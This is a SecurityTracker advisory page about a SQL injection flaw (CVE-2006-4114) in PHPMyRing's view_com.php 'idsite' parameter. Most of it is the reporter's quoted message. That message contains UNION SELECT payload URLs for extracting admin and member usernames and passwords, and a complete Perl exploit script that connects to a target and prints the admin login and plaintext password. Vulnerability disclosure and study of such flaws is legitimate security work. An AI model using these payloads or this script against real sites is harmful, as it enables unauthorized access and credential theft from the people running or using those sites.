SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   PHPMyRing Vendors:   phpmyring.sourceforge.net
PHPMyRing Input Validation Flaw in 'view_com.php' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1016686
SecurityTracker URL:  http://securitytracker.com/id/1016686
CVE Reference:   CVE-2006-4114   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 11 2006
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 4.2.0 and prior versions
Description:   A vulnerability was reported in PHPMyRing. A remote user can inject SQL commands.

The 'view_com.php' script does not properly validate user-supplied input in the 'idsite' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

simo64 at morx.org reported this vulnerability.

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   No solution was available at the time of this entry.
Vendor URL:  phpmyring.sourceforge.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  PHPMyRing <= 4.2.0 (view_com.php) Remote SQL Injection

#######################################################################
# 
# PHPMyRing's (view_com.php) Remote SQL injection Exploit
# 
# vulnerable code on view_com.php line ( 14 - 24)
# 
# [code]
# -----------------------------------------------------------------------------------
# if (!$idsite)
#    {
#    echo "<p align=\"center\">"._("Erreur! Le n&deg; du site n'est pas d&eacute;fini!")."</p>";
#    }
# else
#     {
#     // Connexion MySQL
#     $conn=connecte();
#     $row=mysql_fetch_array(requete("SELECT site_nom FROM webring WHERE idsite=$idsite"));  # <== SQL injection
#     $site_nom=$row['site_nom'];
#     
# ...............
# 
# <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
# <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<? echo _("fr"); ?>">
# <head>
# <title><? echo _("Commentaires du site"). " ".$site_nom; ?></title>    
# ---------------------------------------------------------------------------------[/code]
# 
# $idsite is not proprelly verified and can be used to inject sql some query
# 
#===========
# Exploit  :
#===========
# 
# http://localhost/webring/view_com.php?idsite=[SQL]
# 
#===========
# Exemples : 
#===========
# 
# [+] the first PoC URL will display admin username in page title and the second admin password
# 
# http://localhost/webring/view_com.php?idsite=-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm
# 
# http://localhost/webring/view_com.php?idsite=-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm
# 
# 
# [+] this will display members username (1) and password(2) in page title
# 
# 1) http://localhost/webring/view_com.php?idsite=-1%20UNION%20SELECT%20pseudo%20FROM%20webring%20WHERE%20idsite=[victimesiteid]
# 
# 2) http://localhost/webring/view_com.php?idsite=-1%20UNION%20SELECT%20mdp%20FROM%20webring%20WHERE%20idsite=[victimesiteid]
# 
# Exploit to extract both admin login and plain text password:
#
# C:\>perl ring.pl 127.0.0.1 webring
# #################################################
# #   PHPMyRing's Remote SQL injection Exploit    #
# #   Discovered by simo64_at_morx_org            #
# #   Script writting by simo_at_morx_org         #
# #         MorX Security Research Team           #
# #                 www.morx.org                  #
# #################################################

# [*] Trying to get the admin login ...

# [+] your admin login is --> admin

# [+] your admin pass is --> 123456
 
use IO::Socket;

if(!defined($ARGV[0] && $ARGV[1])) {

system (clear);
print "\n";
print "#################################################\n";
print "#   PHPMyRing's Remote SQL injection Exploit    #\n";
print "#   Discovered by simo64_at_morx_org            #\n";
print "#   Script writting by simo_at_morx_org         #\n";
print "#         MorX Security Research Team           #\n";
print "#                 www.morx.org                  #\n";
print "#################################################\n\n";

print "--- Usage:   perl $0 <host> <folder>\n";
print "--- Example: perl $0 127.0.0.1 afd_webring\n\n";
exit; }

$TARGET            = $ARGV[0];

$FOLDER            = $ARGV[1];

$PORT              = "80";

$SCRIPT            = "/view_com.php?idsite=";

$SQLPASS           = "-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm";

$SQLADMIN          = "-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm";

################################################################################

$COMMAND1         = "GET /$FOLDER$SCRIPT$SQLADMIN HTTP/1.1";
$COMMAND2         = "Host: $TARGET";
$COMMAND3         = "Connection: Close";
$COMMAND4         = "GET /$FOLDER$SCRIPT$SQLPASS HTTP/1.1";

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";

print "#################################################\n";
print "#   PHPMyRing's Remote SQL injection Exploit    #\n";
print "#   Discovered by simo64_at_morx_org            #\n";
print "#   Script writting by simo_at_morx_org         #\n";
print "#         MorX Security Research Team           #\n";
print "#                 www.morx.org                  #\n";
print "#################################################\n\n";

sleep 2;

print "[*] Trying to get the admin login ...\n\n";

print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";

while ($result = <$remote> ) {

if ($result =~ /site (.*?)</ ) {
$adminlogin = $1;
print "[+] your admin login is --> $adminlogin\n\n";
$a = 1;
}
}

if ($a == 0) 
{ 
print "[-] Failed, cant get the admin login\n\n";
print "[*] Trying to get the admin password ...\n\n";
}

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";

print $remote "$COMMAND4\n$COMMAND2\n$COMMAND3\n\n";

while ($result2 = <$remote> ) {

if ($result2 =~ /site (.*?)</ ) {
$adminpass = $1;
print "[+] your admin pass is --> $adminpass\n\n";
$b = 1;
}
}

if ($b == 0)
{ print "[-] Failed, cant get the admin password\n";
}

$remote->flush();
close($remote);
exit;

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC